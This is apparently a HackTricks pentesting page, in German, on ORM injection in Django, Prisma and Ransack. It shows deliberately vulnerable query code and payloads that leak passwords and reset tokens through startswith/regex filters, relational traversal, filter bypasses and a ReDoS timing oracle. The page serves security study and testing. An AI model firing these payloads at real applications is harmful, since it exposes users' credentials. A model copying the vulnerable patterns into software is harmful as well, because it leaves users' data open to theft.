ORM Injection

Unterstützen Sie HackTricks

Django ORM (Python)

In diesem Beitrag wird erklärt, wie es möglich ist, ein Django ORM anfällig zu machen, indem man beispielsweise einen Code wie folgt verwendet:

class ArticleView(APIView):
"""
Einige grundlegende API-Ansicht, an die Benutzer Anfragen senden, um
nach Artikeln zu suchen
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

Beachten Sie, wie alle request.data (die ein JSON sein wird) direkt verwendet wird, um Objekte aus der Datenbank zu filtern. Ein Angreifer könnte unerwartete Filter senden, um mehr Daten als erwartet zu leaken.

Beispiele:

  • Login: Bei einem einfachen Login versuchen, die Passwörter der registrierten Benutzer zu leaken.

{
"username": "admin",
"password_startswith":"a"
}

Es ist möglich, das Passwort durch Brute-Force zu knacken, bis es geleakt wird.

  • Relationales Filtern: Es ist möglich, Beziehungen zu durchlaufen, um Informationen aus Spalten zu leaken, die nicht einmal für die Operation erwartet wurden. Zum Beispiel, wenn es möglich ist, Artikel zu leaken, die von einem Benutzer mit diesen Beziehungen erstellt wurden: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password).

{
"created_by__user__password__contains":"pass"
}

Es ist möglich, das Passwort aller Benutzer zu finden, die einen Artikel erstellt haben.

  • Viele-zu-viele relationale Filterung: Im vorherigen Beispiel konnten wir die Passwörter von Benutzern, die keinen Artikel erstellt haben, nicht finden. Durch das Verfolgen anderer Beziehungen ist dies jedoch möglich. Zum Beispiel: Artikel(created_by) -[1..1]-> Autor(departments) -[0..*]-> Abteilung(employees) -[0..*]-> Autor(user) -[1..1]-> Benutzer(password).

{
"created_by__departments__employees__user_startswith":"admi"
}

In diesem Fall können wir alle Benutzer in den Abteilungen von Benutzern finden, die Artikel erstellt haben, und dann ihre Passwörter leaken (im vorherigen JSON leaken wir nur die Benutzernamen, aber dann ist es möglich, die Passwörter zu leaken).

  • Missbrauch von Django Group und Permission viele-zu-viele Beziehungen mit Benutzern: Darüber hinaus wird das AbstractUser-Modell verwendet, um Benutzer in Django zu generieren, und standardmäßig hat dieses Modell einige viele-zu-viele Beziehungen mit den Permission- und Group-Tabellen. Dies ist im Grunde eine Standardmethode, um auf andere Benutzer von einem Benutzer zuzugreifen, wenn sie in der gleichen Gruppe sind oder die gleiche Berechtigung teilen.

# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • Umgehung von Filterbeschränkungen: Der gleiche Blogbeitrag schlug vor, die Verwendung einiger Filter wie articles = Article.objects.filter(is_secret=False, **request.data) zu umgehen. Es ist möglich, Artikel, die is_secret=True haben, zu dumpen, da wir von einer Beziehung zur Article-Tabelle zurückschleifen können und geheime Artikel aus nicht geheimen Artikeln leaken können, da die Ergebnisse zusammengeführt werden und das is_secret-Feld im nicht geheimen Artikel überprüft wird, während die Daten aus dem geheimen Artikel geleakt werden.

Article.objects.filter(is_secret=False, categories__articles__id=2)

Durch den Missbrauch von Beziehungen ist es möglich, sogar Filter zu umgehen, die dazu gedacht sind, die angezeigten Daten zu schützen.

  • Fehler-/Zeitbasiert über ReDoS: In den vorherigen Beispielen wurde erwartet, unterschiedliche Antworten zu erhalten, wenn die Filterung funktionierte oder nicht, um dies als Orakel zu verwenden. Es könnte jedoch möglich sein, dass eine Aktion in der Datenbank durchgeführt wird und die Antwort immer gleich ist. In diesem Szenario könnte es möglich sein, den Datenbankfehler zu erzeugen, um ein neues Orakel zu erhalten.

// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}

From te same post regarding this vector:

  • SQLite: Hat standardmäßig keinen regexp-Operator (erfordert das Laden einer Drittanbietererweiterung)

  • PostgreSQL: Hat keinen standardmäßigen Regex-Timeout und ist weniger anfällig für Backtracking

  • MariaDB: Hat keinen Regex-Timeout

Prisma ORM (NodeJS)

Die folgenden sind Tricks, die aus diesem Beitrag extrahiert wurden.

  • Vollständige Suchkontrolle:

const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// Angreifer hat vollständige Kontrolle über alle Prisma-Optionen
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

Es ist möglich zu sehen, dass der gesamte JavaScript-Body an Prisma übergeben wird, um Abfragen durchzuführen.

Im Beispiel aus dem ursprünglichen Beitrag würde dies alle Beiträge überprüfen, die von jemandem erstellt wurden (jeder Beitrag wird von jemandem erstellt) und auch die Benutzerinformationen dieser Person zurückgeben (Benutzername, Passwort...)

{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]

Die folgende Abfrage wählt alle Beiträge aus, die von jemandem mit einem Passwort erstellt wurden, und gibt das Passwort zurück:

{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • Vollständige Kontrolle über die where-Klausel:

Lassen Sie uns einen Blick darauf werfen, wo der Angriff die where-Klausel steuern kann:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // Anfällig für ORM-Leaks
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

Es ist möglich, das Passwort der Benutzer direkt zu filtern wie:

await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas"
}
}
}
})

Durch die Verwendung von Operationen wie startsWith ist es möglich, Informationen zu leaken.

  • Umgehung der Filterung bei vielen-zu-vielen relationalen Filtern:

app.post('/articles', async (req, res) => {
try {
const query = req.body.query;
query.published = true;
const posts = await prisma.article.findMany({ where: query })
res.json(posts);
} catch (error) {
res.json([]);
}
});

Es ist möglich, nicht veröffentlichte Artikel durch Rückverknüpfung zu den vielen-zu-vielen-Beziehungen zwischen Category -[*..*]-> Article zu leaken:

{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

Es ist auch möglich, alle Benutzer durch den Missbrauch einiger Loopback-viele-zu-viele-Beziehungen zu leaken:

{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • Error/Timed queries: Im ursprünglichen Beitrag können Sie eine sehr umfangreiche Reihe von Tests lesen, die durchgeführt wurden, um die optimale Payload zu finden, um Informationen mit einer zeitbasierten Payload zu leaken. Dies ist:

{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

Wo die {CONTAINS_LIST} eine Liste mit 1000 Zeichenfolgen ist, um sicherzustellen, dass die Antwort verzögert wird, wenn das richtige Leak gefunden wird.

Ransack (Ruby)

Diese Tricks wurden in diesem Beitrag gefunden.

Beachten Sie, dass Ransack 4.0.0.0 jetzt die Verwendung einer expliziten Erlaubenliste für durchsuchbare Attribute und Assoziationen durchsetzt.

Anfälliges Beispiel:

def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

Beachten Sie, wie die Abfrage durch die vom Angreifer gesendeten Parameter definiert wird. Es war möglich, den Rücksetz-Token beispielsweise mit folgendem zu brute-forcen:

GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

Durch Brute-Forcing und potenziell Beziehungen war es möglich, mehr Daten aus einer Datenbank zu leaken.

References

Support HackTricks

Last updated